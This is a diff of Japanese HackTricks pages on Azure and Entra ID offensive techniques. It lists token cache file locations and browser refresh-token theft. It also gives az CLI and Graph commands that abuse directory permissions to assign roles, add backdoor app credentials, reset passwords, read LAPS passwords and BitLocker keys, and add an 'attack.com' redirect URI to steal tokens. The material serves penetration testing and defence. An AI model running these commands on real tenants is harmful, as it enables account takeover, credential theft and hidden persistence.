- **`msal_token_cache.json`** は access tokens および refresh tokens を含む。Linux & macOS のみ
|
||||
- **`service_principal_entries.bin`** と **`msal_token_cache.bin`** は Windows で使用され、DPAPI で暗号化されている
|
||||
- **`msal_http_cache.bin`** は HTTP リクエストのキャッシュ
|
||||
- 読み込む: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
|
||||
- **`AzureRmContext.json`** は Az PowerShell を使った過去のログイン情報を含む(ただし資格情報は含まない)
|
||||
- **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** の中には複数の `.bin` ファイルがあり、access tokens、ID tokens、およびアカウント情報がユーザーの DPAPI で暗号化されている
|
||||
- さらに **access tokens** は **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** 内の `.tbres` ファイルに、DPAPI で暗号化された base64 として含まれていることがある
|
||||
- Linux と macOS では、Az PowerShell(使用されていれば)で `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` を実行すると access tokens, refresh tokens and id tokens を取得できる
|
||||
- **`AzureRmContext.json`** は Az PowerShell を使った過去のログインに関する情報を含む(ただし資格情報は含まない)
|
||||
- `C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*` 内には複数の `.bin` ファイルがあり、これらは access tokens、ID tokens、アカウント情報をユーザーの DPAPI で暗号化したもの
|
||||
- `C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\` 内の `.tbres` ファイルには、DPAPI で暗号化された base64 でエンコードされた access tokens がさらに見つかる可能性がある
|
||||
- Linux と macOS では、Az PowerShell を使用している場合 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"` を実行して access tokens、refresh tokens、id tokens を取得できる
|
||||
- Windows ではこれは id tokens のみを生成する
|
||||
- Linux と macOS で Az PowerShell が使用されたかどうかは `$HOME/.local/share/.IdentityService/` の存在を確認することでわかる(ただし含まれるファイルは空で役に立たない)
|
||||
- ユーザーがブラウザで Azure にログインしている場合、こちらの [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) によれば、authentication flow を **redirect to localhost** で開始し、ブラウザに自動でログインを承認させて refresh token を受け取ることが可能である。localhost への redirect を許可する FOCI applications は限られている(例: az cli や powershell module)ため、これらのアプリケーションが許可されている必要がある
|
||||
- ブログで説明されている別の方法として、任意のアプリケーションを使えるツール [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) を使用する手法がある。これはリダイレクト URI `https://login.microsoftonline.com/common/oauth2/nativeclient` を用い、最終認証ページのタイトルから OAuth code を取得してから refresh token を取得する
|
||||
- Linux と macOS で Az PowerShell が使われたかを確認するには `$HOME/.local/share/.IdentityService/` の存在を確認する(ただし中のファイルは空で役に立たないことが多い)
|
||||
- ユーザーがブラウザで Azure にログインしている場合、こちらの [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) によれば、認証フローをローカルホストへの redirect で開始し、ブラウザに自動的にログインを許可させて refresh token を受け取ることが可能です。localhost への redirect を許可する FOCI アプリケーションはごくわずか(az cli や PowerShell モジュールなど)なので、これらのアプリケーションが許可されている必要があります。
|
||||
- ブログで説明されているもう一つの方法はツール [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) を使うことです。任意のアプリケーションを使える理由は、redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient` を使って最終的な認証ページのタイトルから OAuth code を取得し、それを使って refresh token を得るからです。
|
||||
|
||||
## 参考資料
|
||||
## 参考
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
|
||||
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
|
||||
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> **Entra ID**に組み込まれている**すべての詳細な権限**がカスタムロールで使用できるわけではないことに注意してください。
|
||||
> 注意: **Entra ID の組み込みロールが持つすべての詳細な権限** が **カスタムロールで使用可能であるとは限らない** ことに注意してください。
|
||||
|
||||
## Roles
|
||||
## ロール
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### ロール: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
このロールには、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
|
||||
このロールは、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限を含んでいます。これらの両方の操作は権限昇格に悪用される可能性があります。
|
||||
|
||||
- ユーザーにロールを割り当てる:
|
||||
```bash
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- ロールに権限を追加する:
|
||||
- ロールに追加の権限を付与する:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
これにより、攻撃者は既存のアプリケーションに**資格情報**(パスワードまたは証明書)を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。
|
||||
これにより攻撃者は既存のアプリケーションに**資格情報を追加する**(パスワードや証明書)ことができます。アプリケーションが特権的な権限を持っている場合、攻撃者はそのアプリケーションとして認証し、当該権限を獲得できます。
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
これは `applications/credentials/update` と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープされています。
|
||||
これは `applications/credentials/update` と同じ操作を許可しますが、単一ディレクトリのアプリケーションに限定されます。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。
|
||||
自分自身を owner として追加することで、attacker は credentials や permissions を含むアプリケーションを操作できます。
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,40 +77,153 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
攻撃者は、テナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
|
||||
攻撃者はテナントのユーザーが使用しているアプリケーションにリダイレクトURIを追加し、その新しいリダイレクトURIを使ったログインURLをユーザーと共有してトークンを盗むことができます。ユーザーが既にそのアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はない点に注意してください。
|
||||
|
||||
また、アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
|
||||
また、アプリケーションが要求する権限を変更してより多くの権限を取得することも可能ですが、その場合はユーザーが全ての権限を要求するプロンプトを再度承認する必要があります。
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
### アプリケーションの権限昇格
|
||||
|
||||
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに **API permissions** の型が **`Application`** に割り当てられていることは非常に一般的でした。Entra ID コンソールで呼ばれる API Permission の型 **`Application`** は、アプリがユーザーコンテキスト(アプリへのユーザーログインなし)なしで API にアクセスして操作を行うことができ、Entra ID のロールを必要としないことを意味します。したがって、ほとんどの Entra ID テナントで **高権限のアプリケーションを見つけるのは非常に一般的**です。
|
||||
|
||||
そのため、攻撃者がアプリケーションの **credentials(secret or certificate)を更新する権限/ロール** を持っている場合、攻撃者は新しい credential を生成し、それを使って **アプリケーションとして認証(authenticate as the application)** し、アプリケーションが持つすべての権限を得ることができます。
|
||||
|
||||
言及されたブログは一般的な Microsoft のデフォルトアプリケーションのいくつかの **API permissions** を示していますが、この報告の後に Microsoft はこの問題を修正し、現在 Microsoft のアプリケーションとしてログインすることはできなくなっています。しかし、悪用され得る **高権限を持つカスタムアプリケーション** を見つけることは依然として可能です。
|
||||
|
||||
アプリケーションの API permissions を列挙する方法:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>非 Microsoft API への API permissions を持つすべてのアプリケーションを見つける (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
## サービスプリンシパル
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
|
||||
これにより攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルが高い権限を持っている場合、攻撃者はその権限を行使できます。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\
|
||||
> APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これは service principal に対してステルスに持続性を維持する方法になり得ます。\
|
||||
> API からは次のコマンドで見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは**SPのpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限(`microsoft.directory/applications/allProperties/update`)が必要です:
|
||||
もしエラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が出た場合、それは **SP の passwordCredentials プロパティを変更することはできない** ためで、まずアンロックする必要があります。アンロックするには、実行を許可する権限(`microsoft.directory/applications/allProperties/update`)が必要です:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格された権限がある場合、攻撃者はその権限を引き継ぐことができます。
|
||||
これにより、攻撃者は既存のサービスプリンシパルに対して資格情報を追加できます。サービスプリンシパルが高い権限を持っている場合、攻撃者はその権限を行使できるようになります。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルのオーナーであることは、その資格情報と権限を制御することを可能にします。
|
||||
アプリケーションと同様に、この権限は service principal にさらに所有者を追加することを許可します。service principal を所有することで、その資格情報と権限を制御できます。
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -128,13 +241,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために必要なメソッドであってもです。したがって、**現在オーナーを削除することはできません**。
|
||||
> 新しい所有者を追加した後、削除しようとしましたが、API は DELETE method がサポートされていないと応答しました。所有者を削除するにはその method を使う必要があるにもかかわらずです。したがって、**現在は所有者を削除できません**。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` と `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` および `enable`
|
||||
|
||||
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。
|
||||
これらの権限により、service principals を無効化および有効化できます。attacker はこの権限を使って、何らかの方法でアクセスできる service principal を有効化し、権限を昇格させることができます。
|
||||
|
||||
この技術では、攻撃者が有効にされたサービスプリンシパルを乗っ取るために、さらに多くの権限が必要であることに注意してください。
|
||||
この手法では、attacker が有効化された service principal を乗っ取るためにさらに多くの権限が必要になる点に注意してください。
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -144,7 +257,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
これらの権限は、シングルサインオンのための資格情報を作成および取得することを可能にし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
|
||||
これらの権限はシングルサインオンの資格情報を作成・取得でき、サードパーティのアプリケーションへのアクセスを可能にする恐れがあります。
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -164,44 +277,36 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### アプリケーションの特権昇格
|
||||
|
||||
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに**API permissions**のタイプ**`Application`**が割り当てられているのを見つけることは非常に一般的でした。**`Application`**タイプのAPI Permission(Entra IDコンソールで呼ばれる)は、アプリケーションがユーザーコンテキスト(アプリにユーザーがログインしていない状態)なしでAPIにアクセスでき、Entra IDのロールを必要としないことを意味します。したがって、**すべてのEntra IDテナントにおいて高特権のアプリケーションを見つけることは非常に一般的です**。
|
||||
|
||||
次に、攻撃者が**アプリケーションの資格情報(シークレットまたは証明書)を更新することを許可する権限/ロール**を持っている場合、攻撃者は新しい資格情報を生成し、それを使用して**アプリケーションとして認証**し、アプリケーションが持つすべての権限を取得できます。
|
||||
|
||||
前述のブログでは、一般的なMicrosoftのデフォルトアプリケーションのいくつかの**API permissions**が共有されていますが、この報告の後、Microsoftはこの問題を修正し、現在はMicrosoftアプリケーションとしてログインすることはできなくなりました。しかし、**悪用される可能性のある高特権のカスタムアプリケーションを見つけることは依然として可能です**。
|
||||
|
||||
---
|
||||
|
||||
## グループ
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
この権限は、特権グループにユーザーを追加することを許可し、特権昇格につながります。
|
||||
この権限により、ユーザーを privileged groups に追加でき、privilege escalation を引き起こします。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
**注意**: この権限は Entra ID role-assignable groups を除外します。
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
この権限はグループのオーナーになることを許可します。グループのオーナーはグループのメンバーシップと設定を制御でき、グループに対して権限をエスカレートする可能性があります。
|
||||
この権限により、グループの所有者になることが可能になります。グループの所有者はグループのメンバーシップや設定を制御でき、グループに対する権限の昇格を引き起こす可能性があります。
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
**注**: この権限は Entra ID role-assignable groups を除外します。
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで、昇格したアクセスを付与することができます。
|
||||
この権限により、グループにメンバーを追加できます。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加し、より高い権限を得ることができます。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
この権限は、動的グループのメンバーシップルールを更新することを許可します。攻撃者は、明示的な追加なしに特権グループに自分自身を含めるために動的ルールを変更する可能性があります。
|
||||
この権限により、dynamic group の membership rule を更新できます。attacker は dynamic rules を変更して、自分を privileged groups に明示的に追加することなく含めることができます。
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -212,11 +317,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
**注意**: この権限は Entra ID role-assignable groups を除外します。
|
||||
|
||||
### ダイナミックグループの特権昇格
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
ユーザーが自分のプロパティを変更してダイナミックグループのメンバーとして追加されることで、特権を昇格させることが可能な場合があります。詳細については、以下を確認してください:
|
||||
ユーザーが自身のプロパティを変更して dynamic groups のメンバーとして追加されることで escalate privileges する可能性があります。詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -226,13 +331,13 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
|
||||
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーへ escalate privileges することを可能にします。この権限はカスタムロールに割り当てることはできません。
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザーは特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。
|
||||
この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループを見つけることはよくあるため、この権限によりユーザーが特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができます。
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -248,9 +353,9 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## 条件付きアクセスポリシーとMFAバイパス
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
MFAを要求する誤設定された条件付きアクセスポリシーはバイパスされる可能性があります。確認してください:
|
||||
MFA を要求する誤設定された conditional access policies はバイパスされる可能性があります。以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
この権限により、攻撃者はデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの制御またはアクセスを得ることができます。
|
||||
この権限により、攻撃者は自分自身をデバイスの所有者に割り当てることで、デバイス固有の設定やデータへの制御やアクセスを得ることができます。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -271,7 +376,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
この権限は、攻撃者が自分のアカウントをデバイスに関連付けてアクセスを得たり、セキュリティポリシーを回避したりすることを可能にします。
|
||||
この権限は攻撃者が自分のアカウントをデバイスに関連付け、アクセスを取得したりセキュリティポリシーをバイパスしたりすることを可能にします。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
この権限は、攻撃者がMicrosoft Entraに参加しているデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
|
||||
この権限により、攻撃者は Microsoft Entra に参加しているデバイスのバックアップされたローカル管理者アカウント資格情報のプロパティ(password を含む)を読み取ることができます。
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
この権限はBitLockerキーにアクセスすることを許可し、攻撃者がドライブを復号化し、データの機密性を侵害する可能性があります。
|
||||
この権限は BitLocker キーへのアクセスを許可し、攻撃者がドライブを復号してデータの機密性を侵害する可能性があります。
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## その他の興味深い権限 (TODO)
|
||||
## その他の興味深い権限(TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員が社内外のリソースにサインインしてアクセスすることを可能にし、Microsoft 365、Azure portal、その他多数の SaaS アプリケーションを含むリソースへのアクセスを扱います。Azure AD の設計は、特に **認証、認可、およびユーザー管理** を含む重要なアイデンティティサービスの提供に焦点を当てています。
|
||||
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員がサインインして組織内外のリソース(Microsoft 365、Azure portal、および多数の他の SaaS アプリケーションを含む)にアクセスできるようにするために重要な役割を果たします。Azure AD は **認証、認可、およびユーザー管理** を提供することに重点を置いて設計されています。
|
||||
|
||||
Azure AD の主な機能には、**多要素認証** と **条件付きアクセス**、および他の Microsoft セキュリティサービスとのシームレスな統合が含まれます。これらの機能はユーザーのアイデンティティのセキュリティを大幅に高め、組織がアクセス方針を効果的に実装・適用することを可能にします。Microsoft のクラウドサービスのエコシステムにおける基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベース管理において極めて重要です。
|
||||
Azure AD の主な機能には **多要素認証** および **条件付きアクセス** が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合も備えています。これらの機能はユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセス方針を効果的に実施・強制することを可能にします。Microsoft のクラウドサービスエコシステムの基本的な構成要素として、Azure AD はクラウドベースでのユーザーアイデンティティ管理において重要な存在です。
|
||||
|
||||
## 列挙
|
||||
|
||||
### **接続**
|
||||
### 接続
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
任意のプログラムで**CLI**経由で**Azure**に**login**すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に**client idを持っています**。コンソールで確認できる**allowed applications lists**にすべて表示されるわけではありませんが、デフォルトでは許可されています。
|
||||
